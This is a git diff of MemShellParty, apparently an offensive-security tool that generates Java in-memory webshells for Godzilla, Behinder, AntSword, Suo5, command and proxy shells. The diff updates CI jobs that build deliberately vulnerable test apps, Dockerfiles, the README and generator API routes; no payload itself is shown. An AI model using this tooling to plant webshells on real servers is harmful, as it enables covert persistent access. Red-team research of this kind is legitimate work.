- name: Build Boot with Gradle (Windows)
|
||||||
|
if: matrix.os == 'windows-latest'
|
||||||
|
run: ./gradlew.bat :boot:test :boot:bootjar
|
||||||
|
|
||||||
|
- name: Upload Boot Jar (Linux)
|
||||||
|
if: matrix.os == 'ubuntu-latest'
|
||||||
uses: actions/upload-artifact@v4
|
uses: actions/upload-artifact@v4
|
||||||
with:
|
with:
|
||||||
name: boot
|
name: boot
|
||||||
|
|||||||
@@ -33,7 +33,7 @@ jobs:
|
|||||||
sleep 10
|
sleep 10
|
||||||
- name: Test with curl
|
- name: Test with curl
|
||||||
run: |
|
run: |
|
||||||
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/version) -eq 200 ]]; then
|
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/api/version) -eq 200 ]]; then
|
||||||
echo "Test successful!"
|
echo "Test successful!"
|
||||||
else
|
else
|
||||||
echo "Test failed!"
|
echo "Test failed!"
|
||||||
|
|||||||
@@ -27,7 +27,7 @@ jobs:
|
|||||||
- middleware: "jbossas"
|
- middleware: "jbossas"
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
- middleware: "jbosseap"
|
- middleware: "jbosseap"
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
- middleware: "wildfly"
|
- middleware: "wildfly"
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
- middleware: "glassfish"
|
- middleware: "glassfish"
|
||||||
@@ -48,7 +48,9 @@ jobs:
|
|||||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
||||||
- middleware: "xxljob"
|
- middleware: "xxljob"
|
||||||
depend_tasks: ""
|
depend_tasks: ""
|
||||||
runs-on: ubuntu-latest
|
- middleware: "struct2"
|
||||||
|
depend_tasks: ":vul:vul-struct2:war"
|
||||||
|
runs-on: ubuntu-22.04
|
||||||
name: ${{ matrix.cases.middleware }}
|
name: ${{ matrix.cases.middleware }}
|
||||||
steps:
|
steps:
|
||||||
- name: Checkout
|
- name: Checkout
|
||||||
|
|||||||
@@ -25,7 +25,7 @@ jobs:
|
|||||||
- middleware: "jbossas"
|
- middleware: "jbossas"
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
- middleware: "jbosseap"
|
- middleware: "jbosseap"
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
- middleware: "wildfly"
|
- middleware: "wildfly"
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
- middleware: "glassfish"
|
- middleware: "glassfish"
|
||||||
@@ -42,9 +42,9 @@ jobs:
|
|||||||
depend_tasks: ":vul:vul-webapp:war"
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
- middleware: "springwebmvc"
|
- middleware: "springwebmvc"
|
||||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
||||||
- middleware: "springwebflux"
|
- middleware: "struct2"
|
||||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
depend_tasks: ":vul:vul-struct2:war"
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-22.04
|
||||||
name: ${{ matrix.cases.middleware }}
|
name: ${{ matrix.cases.middleware }}
|
||||||
steps:
|
steps:
|
||||||
- name: Checkout
|
- name: Checkout
|
||||||
|
|||||||
@@ -47,6 +47,11 @@ jobs:
|
|||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v4
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Setup Node
|
||||||
|
uses: actions/setup-node@v6
|
||||||
|
with:
|
||||||
|
node-version: 22
|
||||||
|
|
||||||
- name: Setup Bun
|
- name: Setup Bun
|
||||||
uses: oven-sh/setup-bun@v2
|
uses: oven-sh/setup-bun@v2
|
||||||
with:
|
with:
|
||||||
|
|||||||
@@ -0,0 +1,47 @@
|
|||||||
|
name: Single IntegrationTest
|
||||||
|
|
||||||
|
on:
|
||||||
|
workflow_dispatch:
|
||||||
|
inputs:
|
||||||
|
depend_tasks:
|
||||||
|
description: '前置构建任务,如 :boot:jar :generator:jar'
|
||||||
|
required: false
|
||||||
|
default: ':vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war'
|
||||||
|
type: string
|
||||||
|
test_class:
|
||||||
|
description: '测试用例类名,如 com.reajason.javaweb.integration.memshell.tomcat.Tomcat10WebSocketBypassNginxTest'
|
||||||
|
required: true
|
||||||
|
type: string
|
||||||
|
|
||||||
|
concurrency:
|
||||||
|
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||||
|
cancel-in-progress: true
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
integration-test:
|
||||||
|
runs-on: ubuntu-22.04
|
||||||
|
steps:
|
||||||
|
- name: Checkout
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Setup Java
|
||||||
|
uses: actions/setup-java@v4
|
||||||
|
with:
|
||||||
|
distribution: 'temurin'
|
||||||
|
java-version: 17
|
||||||
|
|
||||||
|
- name: Setup Gradle
|
||||||
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Prepare for Integration Test
|
||||||
|
if: ${{ inputs.depend_tasks != '' }}
|
||||||
|
run: ./gradlew ${{ inputs.depend_tasks }}
|
||||||
|
|
||||||
|
- name: Integration Test with gradle
|
||||||
|
run: ./gradlew :integration-test:test --tests '${{ inputs.test_class }}' --info
|
||||||
|
|
||||||
|
- name: Export Integration Test Summary
|
||||||
|
uses: mikepenz/action-junit-report@v5
|
||||||
|
if: success() || failure()
|
||||||
|
with:
|
||||||
|
report_paths: '**/build/test-results/test/TEST-*.xml'
|
||||||
@@ -0,0 +1,3 @@
|
|||||||
|
[submodule "libs"]
|
||||||
|
path = libs
|
||||||
|
url = https://github.com/ReaJason/javaweb-sources.git
|
||||||
@@ -6,7 +6,7 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
|
|||||||
rm -rf vul integration-test tools
|
rm -rf vul integration-test tools
|
||||||
|
|
||||||
# https://hub.docker.com/r/oven/bun
|
# https://hub.docker.com/r/oven/bun
|
||||||
FROM --platform=$BUILDPLATFORM oven/bun:1.3.2 AS frontend
|
FROM --platform=$BUILDPLATFORM oven/bun:1.3.11 AS frontend
|
||||||
|
|
||||||
ARG ROUTE_ROOT_PATH="/"
|
ARG ROUTE_ROOT_PATH="/"
|
||||||
ARG CONTEXT_PATH=""
|
ARG CONTEXT_PATH=""
|
||||||
@@ -14,9 +14,9 @@ ARG CONTEXT_PATH=""
|
|||||||
WORKDIR /usr/src/web
|
WORKDIR /usr/src/web
|
||||||
|
|
||||||
ENV VITE_APP_API_URL=${CONTEXT_PATH} \
|
ENV VITE_APP_API_URL=${CONTEXT_PATH} \
|
||||||
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}
|
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}/ui
|
||||||
|
|
||||||
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lockb /usr/src/web/
|
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/source.config.ts /usr/src/web/
|
||||||
|
|
||||||
RUN bun install --frozen-lockfile
|
RUN bun install --frozen-lockfile
|
||||||
|
|
||||||
@@ -25,7 +25,7 @@ COPY --from=source /usr/src/web /usr/src/web
|
|||||||
RUN bun run build
|
RUN bun run build
|
||||||
|
|
||||||
# https://hub.docker.com/_/eclipse-temurin/tags?name=17.
|
# https://hub.docker.com/_/eclipse-temurin/tags?name=17.
|
||||||
FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.15_6-jdk-noble AS backend
|
FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.17_10-jdk-noble AS backend
|
||||||
|
|
||||||
WORKDIR /usr/src
|
WORKDIR /usr/src
|
||||||
|
|
||||||
@@ -35,7 +35,7 @@ COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/res
|
|||||||
|
|
||||||
RUN ./gradlew :boot:bootjar -x test
|
RUN ./gradlew :boot:bootjar -x test
|
||||||
|
|
||||||
FROM eclipse-temurin:17.0.15_6-jre-noble
|
FROM eclipse-temurin:17.0.17_10-jre-noble
|
||||||
|
|
||||||
LABEL authors="ReaJason<[email protected]>"
|
LABEL authors="ReaJason<[email protected]>"
|
||||||
|
|
||||||
|
|||||||
@@ -12,7 +12,7 @@
|
|||||||
<div align="center">
|
<div align="center">
|
||||||
|
|
||||||
[](https://t.me/memshell)
|
[](https://t.me/memshell)
|
||||||
[](https://party.memshell.news)
|
[](https://party.mem.mk)
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
@@ -25,10 +25,10 @@
|
|||||||
MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。
|
MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。
|
||||||
|
|
||||||
<p align="center">
|
<p align="center">
|
||||||
<img src="asserts/normal_memshell.png" alt="normal_memshell" width="24%">
|
<img src="assets/normal_memshell.png" alt="normal_memshell" width="24%">
|
||||||
<img src="asserts/agent_memshell.png" alt="agent_memshell" width="24%">
|
<img src="assets/agent_memshell.png" alt="agent_memshell" width="24%">
|
||||||
<img src="asserts/dnslog_probe.png" alt="dnslog_probe" width="24%">
|
<img src="assets/dnslog_probe.png" alt="dnslog_probe" width="24%">
|
||||||
<img src="asserts/about_page.png" alt="about_page" width="24%">
|
<img src="assets/about_page.png" alt="about_page" width="24%">
|
||||||
</p>
|
</p>
|
||||||
|
|
||||||
## 主要特性
|
## 主要特性
|
||||||
@@ -47,7 +47,7 @@ MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工
|
|||||||
|
|
||||||
### 使用前必看
|
### 使用前必看
|
||||||
|
|
||||||
[Java 服务简介.md](./docs/ServerIntro.md),用于了解 MemShellParty
|
[Java 服务简介.md](web/content/docs/server-intro.mdx),用于了解 MemShellParty
|
||||||
中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。
|
中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。
|
||||||
|
|
||||||
探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为
|
探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为
|
||||||
@@ -57,9 +57,9 @@ GlassFish,因为它使用的是 GlassFish 进行的二开)。
|
|||||||
|
|
||||||
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
|
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
|
||||||
|
|
||||||
可访问(master 分支) [https://party.memshell.news](https://party.memshell.news)。每次 Release 都会自动部署最新的镜像。
|
可访问(master 分支) [https://party.mem.mk](https://party.mem.mk)。每次 Release 都会自动部署最新的镜像。
|
||||||
|
|
||||||
对于正在开发的功能可访问(dev 分支) [https://dev-party.memshell.news](https://dev-party.memshell.news) 抢先体验。
|
对于正在开发的功能可访问(dev 分支) [https://dev-party.mem.mk](https://dev-party.mem.mk) 抢先体验。
|
||||||
|
|
||||||
### 本地部署(推荐)
|
### 本地部署(推荐)
|
||||||
|
|
||||||
@@ -78,23 +78,6 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/
|
|||||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
||||||
```
|
```
|
||||||
|
|
||||||
镜像是无状态的,在需要更新最新镜像时,直接移除新建就好了
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# 移除之前部署的
|
|
||||||
docker rm -f memshell-party
|
|
||||||
|
|
||||||
# 使用之前的部署命令重新部署(会自动拉取最新的镜像部署)
|
|
||||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
|
|
||||||
```
|
|
||||||
|
|
||||||
## User Guide
|
|
||||||
|
|
||||||
1. [适配情况](./docs/Compatibility.md)
|
|
||||||
2. [本地构建](./docs/BuildOnLocal.md)
|
|
||||||
3. [SDK 集成](./examples/memshell-party-maven-example)
|
|
||||||
4. [代码贡献](./CONTRIBUTING.md)
|
|
||||||
|
|
||||||
## Special Thanks
|
## Special Thanks
|
||||||
|
|
||||||
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
|
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
|
||||||
|
|||||||
|
Before Width: | Height: | Size: 92 KiB After Width: | Height: | Size: 92 KiB |
|
Before Width: | Height: | Size: 136 KiB After Width: | Height: | Size: 136 KiB |
|
Before Width: | Height: | Size: 236 KiB After Width: | Height: | Size: 236 KiB |
@@ -2,7 +2,7 @@ FROM python:3.12-slim
|
|||||||
|
|
||||||
WORKDIR /app
|
WORKDIR /app
|
||||||
|
|
||||||
RUN pip install requests
|
RUN pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple/
|
||||||
|
|
||||||
COPY neoreg.py .
|
COPY neoreg.py .
|
||||||
|
|
||||||
|
Before Width: | Height: | Size: 268 KiB After Width: | Height: | Size: 268 KiB |
@@ -1,4 +1,4 @@
|
|||||||
FROM eclipse-temurin:17.0.14_7-jre-noble
|
FROM eclipse-temurin:17.0.17_10-jre-noble
|
||||||
|
|
||||||
LABEL authors="ReaJason<[email protected]>"
|
LABEL authors="ReaJason<[email protected]>"
|
||||||
|
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
plugins {
|
plugins {
|
||||||
id("java")
|
id("java")
|
||||||
id("org.springframework.boot") version "3.5.7"
|
id("org.springframework.boot") version "3.5.8"
|
||||||
id("io.spring.dependency-management") version "1.1.7"
|
id("io.spring.dependency-management") version "1.1.7"
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -21,6 +21,8 @@ configurations {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
extra["byte-buddy.version"] = libs.versions.byte.buddy.get()
|
||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
implementation(project(":generator")) {
|
implementation(project(":generator")) {
|
||||||
exclude(group = "commons-logging", module = "commons-logging")
|
exclude(group = "commons-logging", module = "commons-logging")
|
||||||
@@ -33,7 +35,7 @@ dependencies {
|
|||||||
exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat")
|
exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat")
|
||||||
}
|
}
|
||||||
implementation(libs.commons.lang3)
|
implementation(libs.commons.lang3)
|
||||||
implementation("org.springframework.boot:spring-boot-starter-jetty")
|
implementation("org.springframework.boot:spring-boot-starter-undertow")
|
||||||
compileOnly("org.projectlombok:lombok")
|
compileOnly("org.projectlombok:lombok")
|
||||||
developmentOnly("org.springframework.boot:spring-boot-devtools")
|
developmentOnly("org.springframework.boot:spring-boot-devtools")
|
||||||
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
|
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
|
||||||
|
|||||||
@@ -17,7 +17,7 @@ import java.util.Base64;
|
|||||||
@CrossOrigin("*")
|
@CrossOrigin("*")
|
||||||
public class ClassNameParseController {
|
public class ClassNameParseController {
|
||||||
|
|
||||||
@PostMapping("/className")
|
@PostMapping("/api/className")
|
||||||
public String className(@RequestBody String classBase64) {
|
public String className(@RequestBody String classBase64) {
|
||||||
return ClassNameReader.getClassName(new ClassReader(Base64.getDecoder().decode(classBase64)));
|
return ClassNameReader.getClassName(new ClassReader(Base64.getDecoder().decode(classBase64)));
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -17,7 +17,7 @@ import java.util.*;
|
|||||||
* @since 2024/12/13
|
* @since 2024/12/13
|
||||||
*/
|
*/
|
||||||
@RestController
|
@RestController
|
||||||
@RequestMapping("/config")
|
@RequestMapping("/api/config")
|
||||||
@CrossOrigin("*")
|
@CrossOrigin("*")
|
||||||
public class ConfigController {
|
public class ConfigController {
|
||||||
|
|
||||||
|
|||||||
@@ -19,7 +19,7 @@ import java.util.Base64;
|
|||||||
* @since 2024/12/18
|
* @since 2024/12/18
|
||||||
*/
|
*/
|
||||||
@RestController
|
@RestController
|
||||||
@RequestMapping("/memshell/generate")
|
@RequestMapping("/api/memshell/generate")
|
||||||
@CrossOrigin("*")
|
@CrossOrigin("*")
|
||||||
public class MemShellGeneratorController {
|
public class MemShellGeneratorController {
|
||||||
@PostMapping
|
@PostMapping
|
||||||
|
|||||||
@@ -15,7 +15,7 @@ import org.springframework.web.bind.annotation.*;
|
|||||||
* @since 2025/8/10
|
* @since 2025/8/10
|
||||||
*/
|
*/
|
||||||
@RestController
|
@RestController
|
||||||
@RequestMapping("/probe/generate")
|
@RequestMapping("/api/probe/generate")
|
||||||
@CrossOrigin("*")
|
@CrossOrigin("*")
|
||||||
public class ProbeShellGeneratorController {
|
public class ProbeShellGeneratorController {
|
||||||
@PostMapping
|
@PostMapping
|
||||||
|
|||||||
@@ -22,7 +22,7 @@ import java.util.Map;
|
|||||||
*/
|
*/
|
||||||
@RestController
|
@RestController
|
||||||
@CrossOrigin("*")
|
@CrossOrigin("*")
|
||||||
@RequestMapping("/version")
|
@RequestMapping("/api/version")
|
||||||
public class VersionController {
|
public class VersionController {
|
||||||
|
|
||||||
@Value("${spring.application.version}")
|
@Value("${spring.application.version}")
|
||||||
|
|||||||
@@ -1,16 +1,70 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
|
import jakarta.servlet.http.HttpServletResponse;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import org.springframework.core.io.ClassPathResource;
|
||||||
|
import org.springframework.http.ResponseEntity;
|
||||||
import org.springframework.stereotype.Controller;
|
import org.springframework.stereotype.Controller;
|
||||||
|
import org.springframework.util.FileCopyUtils;
|
||||||
import org.springframework.web.bind.annotation.GetMapping;
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.InputStreamReader;
|
||||||
|
import java.nio.charset.StandardCharsets;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/19
|
* @since 2024/12/19
|
||||||
*/
|
*/
|
||||||
@Controller
|
@Controller
|
||||||
|
@Slf4j
|
||||||
public class ViewController {
|
public class ViewController {
|
||||||
@GetMapping("/")
|
@GetMapping("/")
|
||||||
public String index(){
|
public String index(){
|
||||||
|
return "redirect:/ui";
|
||||||
|
}
|
||||||
|
|
||||||
|
@GetMapping({"/api/search", "/api/search.data"})
|
||||||
|
@ResponseBody
|
||||||
|
public String handleSearch(HttpServletRequest request, HttpServletResponse response) {
|
||||||
|
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
||||||
|
String relativePath = fullPath.substring(1);
|
||||||
|
return renderFileData(relativePath, response);
|
||||||
|
}
|
||||||
|
|
||||||
|
@GetMapping("/ui/**")
|
||||||
|
@SneakyThrows
|
||||||
|
public Object handleView(HttpServletRequest request, HttpServletResponse response) {
|
||||||
|
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
||||||
|
if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) {
|
||||||
return "index";
|
return "index";
|
||||||
}
|
}
|
||||||
|
String docPath = fullPath.substring(4);
|
||||||
|
if (docPath.endsWith(".data")) {
|
||||||
|
return ResponseEntity.ok(renderFileData(docPath, response));
|
||||||
|
}
|
||||||
|
return docPath + "/index";
|
||||||
|
}
|
||||||
|
|
||||||
|
private String renderFileData(String relativePath, HttpServletResponse response) {
|
||||||
|
try {
|
||||||
|
String templatePath = "templates/" + relativePath;
|
||||||
|
ClassPathResource resource = new ClassPathResource(templatePath);
|
||||||
|
if (!resource.exists()) {
|
||||||
|
response.setStatus(HttpServletResponse.SC_NOT_FOUND);
|
||||||
|
return "File not found: " + relativePath;
|
||||||
|
}
|
||||||
|
InputStreamReader reader = new InputStreamReader(
|
||||||
|
resource.getInputStream(),
|
||||||
|
StandardCharsets.UTF_8
|
||||||
|
);
|
||||||
|
return FileCopyUtils.copyToString(reader);
|
||||||
|
} catch (IOException e) {
|
||||||
|
response.setStatus(HttpServletResponse.SC_INTERNAL_SERVER_ERROR);
|
||||||
|
return "Error reading file: " + e.getMessage();
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -23,6 +23,7 @@ public class MemShellGenerateRequest {
|
|||||||
private String godzillaPass;
|
private String godzillaPass;
|
||||||
private String godzillaKey;
|
private String godzillaKey;
|
||||||
private String commandParamName;
|
private String commandParamName;
|
||||||
|
private String commandTemplate;
|
||||||
private String behinderPass;
|
private String behinderPass;
|
||||||
private String antSwordPass;
|
private String antSwordPass;
|
||||||
private String headerName;
|
private String headerName;
|
||||||
@@ -50,10 +51,13 @@ public class MemShellGenerateRequest {
|
|||||||
case Command -> CommandConfig.builder()
|
case Command -> CommandConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.paramName(shellToolConfig.getCommandParamName())
|
.paramName(shellToolConfig.getCommandParamName())
|
||||||
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
|
.headerValue(shellToolConfig.getHeaderValue())
|
||||||
|
.template(shellToolConfig.getCommandTemplate())
|
||||||
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
||||||
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
|
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
|
||||||
.build();
|
.build();
|
||||||
case Suo5 -> Suo5Config.builder()
|
case Suo5, Suo5v2 -> Suo5Config.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
.headerValue(shellToolConfig.getHeaderValue())
|
||||||
@@ -73,6 +77,10 @@ public class MemShellGenerateRequest {
|
|||||||
.shellClassBase64(shellToolConfig.getShellClassBase64())
|
.shellClassBase64(shellToolConfig.getShellClassBase64())
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.build();
|
.build();
|
||||||
|
case Proxy -> ProxyConfig.builder()
|
||||||
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
|
.headerValue(shellToolConfig.getHeaderValue())
|
||||||
|
.shellClassName(shellToolConfig.shellClassName).build();
|
||||||
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -21,6 +21,7 @@ public class ProbeShellGenerateRequest {
|
|||||||
private String server;
|
private String server;
|
||||||
private String sleepServer;
|
private String sleepServer;
|
||||||
private String reqParamName;
|
private String reqParamName;
|
||||||
|
private String commandTemplate;
|
||||||
}
|
}
|
||||||
|
|
||||||
public ProbeContentConfig parseProbeContentConfig() {
|
public ProbeContentConfig parseProbeContentConfig() {
|
||||||
@@ -34,6 +35,7 @@ public class ProbeShellGenerateRequest {
|
|||||||
.build();
|
.build();
|
||||||
case ResponseBody -> ResponseBodyConfig.builder()
|
case ResponseBody -> ResponseBodyConfig.builder()
|
||||||
.reqParamName(probeContentConfig.reqParamName)
|
.reqParamName(probeContentConfig.reqParamName)
|
||||||
|
.commandTemplate(probeContentConfig.commandTemplate)
|
||||||
.server(probeContentConfig.server)
|
.server(probeContentConfig.server)
|
||||||
.build();
|
.build();
|
||||||
default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());
|
default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
package com.reajason.javaweb.boot.entity;
|
package com.reajason.javaweb.boot.entity;
|
||||||
|
|
||||||
import lombok.Data;
|
|
||||||
import lombok.Builder;
|
import lombok.Builder;
|
||||||
|
import lombok.Data;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
@@ -2,3 +2,6 @@ spring:
|
|||||||
application:
|
application:
|
||||||
name: boot
|
name: boot
|
||||||
version: ${version}
|
version: ${version}
|
||||||
|
mvc:
|
||||||
|
pathmatch:
|
||||||
|
matching-strategy: ant_path_matcher
|
||||||
@@ -2,7 +2,7 @@ package com.reajason.javaweb.boot.controller;
|
|||||||
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.*;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
@@ -26,21 +26,21 @@ public class ConfigControllerIntegrationTest {
|
|||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testConfigEndpoint() {
|
public void testConfigEndpoint() {
|
||||||
ResponseEntity<Map> response = restTemplate.getForEntity("/config", Map.class);
|
ResponseEntity<Map> response = restTemplate.getForEntity("/api/config", Map.class);
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
assertNotNull(response.getBody());
|
assertNotNull(response.getBody());
|
||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testConfigServersEndpoint() {
|
public void testConfigServersEndpoint() {
|
||||||
ResponseEntity<Map> response = restTemplate.getForEntity("/config/servers", Map.class);
|
ResponseEntity<Map> response = restTemplate.getForEntity("/api/config/servers", Map.class);
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
assertNotNull(response.getBody());
|
assertNotNull(response.getBody());
|
||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testConfigPackersEndpoint() {
|
public void testConfigPackersEndpoint() {
|
||||||
ResponseEntity<List> response = restTemplate.getForEntity("/config/packers", List.class);
|
ResponseEntity<List> response = restTemplate.getForEntity("/api/config/packers", List.class);
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
assertNotNull(response.getBody());
|
assertNotNull(response.getBody());
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -51,7 +51,7 @@ class MemShellGeneratorControllerTest {
|
|||||||
shellToolConfigDTO.setHeaderValue("hello");
|
shellToolConfigDTO.setHeaderValue("hello");
|
||||||
request.setShellToolConfig(shellToolConfigDTO);
|
request.setShellToolConfig(shellToolConfigDTO);
|
||||||
ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
|
ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
|
||||||
"/memshell/generate", request, MemShellGenerateResponse.class);
|
"/api/memshell/generate", request, MemShellGenerateResponse.class);
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
assertNotNull(response.getBody());
|
assertNotNull(response.getBody());
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -7,5 +7,5 @@ repositories {
|
|||||||
}
|
}
|
||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
implementation("com.vanniktech:gradle-maven-publish-plugin:0.34.0")
|
implementation("com.vanniktech:gradle-maven-publish-plugin:0.35.0")
|
||||||
}
|
}
|
||||||
@@ -3,7 +3,7 @@ plugins {
|
|||||||
}
|
}
|
||||||
|
|
||||||
mavenPublishing {
|
mavenPublishing {
|
||||||
publishToMavenCentral(true)
|
